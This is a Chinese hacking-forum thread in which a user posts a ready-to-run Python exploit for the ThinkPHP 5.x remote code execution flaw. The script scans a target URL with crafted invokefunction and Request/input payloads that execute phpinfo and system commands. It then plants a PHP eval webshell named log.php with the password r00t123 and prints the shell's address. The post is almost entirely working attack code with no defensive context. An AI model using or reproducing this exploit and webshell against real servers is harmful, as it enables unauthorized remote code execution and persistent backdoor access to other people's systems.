anonymou5

 找回密码
 立即注册
搜索
查看: 153|回复: 1

ThinkPHP V5.x 远程代码执行漏洞

[复制链接]

1

主题

7

帖子

527

积分

核心会员

Rank: 4

积分
527
发表于 2018-12-29 17:32:15 | 显示全部楼层 |阅读模式
本帖最后由 melvyn 于 2018-12-30 00:22 编辑

使用命令:
  1. thinkphp_v5x.py http://1.1.1.1
复制代码
python代码:
  1. # /usr/bin/env python
  2. # -*- coding:utf-8 -*-
  3. '''
  4. name: ThinkPHP V5.x 远程代码执行漏洞
  5. author: melvyn
  6. description: 远程代码执行 影响范围:5.x < 5.1.31,<= 5.0.23
  7. '''

  8. import sys
  9. import requests

  10. payload = {r"?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1",
  11.            r"?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1",
  12.            r"?s=index/\think\Request/input&filter=phpinfo&data=1",
  13.            r"?s=index/\think\Request/input&filter=system&data=echo melvyn",
  14.            r"?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1",
  15.            r"?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo melvyn"}

  16. shell_payload = [r"?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<^?php%20eval($_POST['r00t123']);?^>^success%20>>log.php",
  17.                  r"?s=index/\think\template\driver\file/write&cacheFile=log.php&content=%3C?php%20eval($_POST['r00t123']);?%3Esuccess"]

  18. def getshell(url,check_path):
  19.     try:
  20.         for  sp in shell_payload:
  21.             shell_poc = check_path + sp
  22.             response = requests.get(url=shell_poc)
  23.             res = response.text
  24.             res = res.encode('gbk','ignore')
  25.             res= res.decode('gbk')
  26.             if "public" in check_path:
  27.                 shell_path = url +"/public/" + "log.php"
  28.             else:
  29.                 shell_path = url +"/"+"log.php"
  30.             #print shell_path
  31.             response1 = requests.get(url=shell_path)
  32.             if response1.status_code  == 200 and "success" in response1.text:
  33.                 print u"[+]存在ThinkPHP V5.x 远程代码执行漏洞...\tWebshell: %s | Pass: r00t123"%shell_path
  34.         shell_poc = check_path +r"?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['r00t123']);&r00t123=phpinfo();"
  35.         #print shell_poc
  36.         response = requests.get(url=shell_poc)
  37.         res = response.text
  38.         res = res.encode('gbk','ignore')
  39.         res= res.decode('gbk')
  40.         if 'PHP Version' in res:
  41.             shell_path = url +"?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST['r00t123']);"
  42.             print u"[+]存在ThinkPHP V5.x 远程代码执行漏洞...\tWebshell: %s | Pass: r00t123"%shell_path
  43.         else:
  44.             print u"[+]存在ThinkPHP V5.x 远程代码执行漏洞...\tWebshell: %s"%"unknown"                     
  45.     except:
  46.         print u"[+]存在ThinkPHP V5.x 远程代码执行漏洞...\tWebshell:%s"%"unknown"

  47. def getPath(url):
  48.     try:
  49.         path = ["/","/public/index.php"]
  50.         for p in path:
  51.             for pl in payload:
  52.                 check_path = url + p
  53.                 #print check_path
  54.                 check_poc = check_path + pl
  55.                 response = requests.get(url=check_poc)
  56.                 if response.status_code == 200 or response.status_code == 500:
  57.                     res = response.text
  58.                     res = res.encode('gbk','ignore')
  59.                     res= res.decode('gbk')
  60.                     if 'PHP Version' in res or "melvyn" in res:
  61.                         return check_path
  62.                     else:
  63.                         pass
  64.                 else:
  65.                     print u"[-]不存在ThinkPHP V5.x 远程代码执行漏洞..."
  66.     except:
  67.         print u"[-]不存在ThinkPHP V5.x 远程代码执行漏洞..."

  68. def exp_check(url):
  69.     url = url.rstrip("/")
  70.     check_path = getPath(url)
  71.     if check_path:
  72.         getshell(url,check_path)

  73. if __name__ =='__main__':
  74.     exp_check(sys.argv[1])
复制代码


回复

使用道具 举报

4

主题

8

帖子

597

积分

核心会员

Rank: 4

积分
597
发表于 2018-12-30 22:03:01 | 显示全部楼层
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

( 蜀ICP备18025895号 )

GMT+8, 2019-1-19 03:49 , Processed in 0.300237 second(s), 19 queries .

Powered by anonymou5 0.1

快速回复 返回顶部 返回列表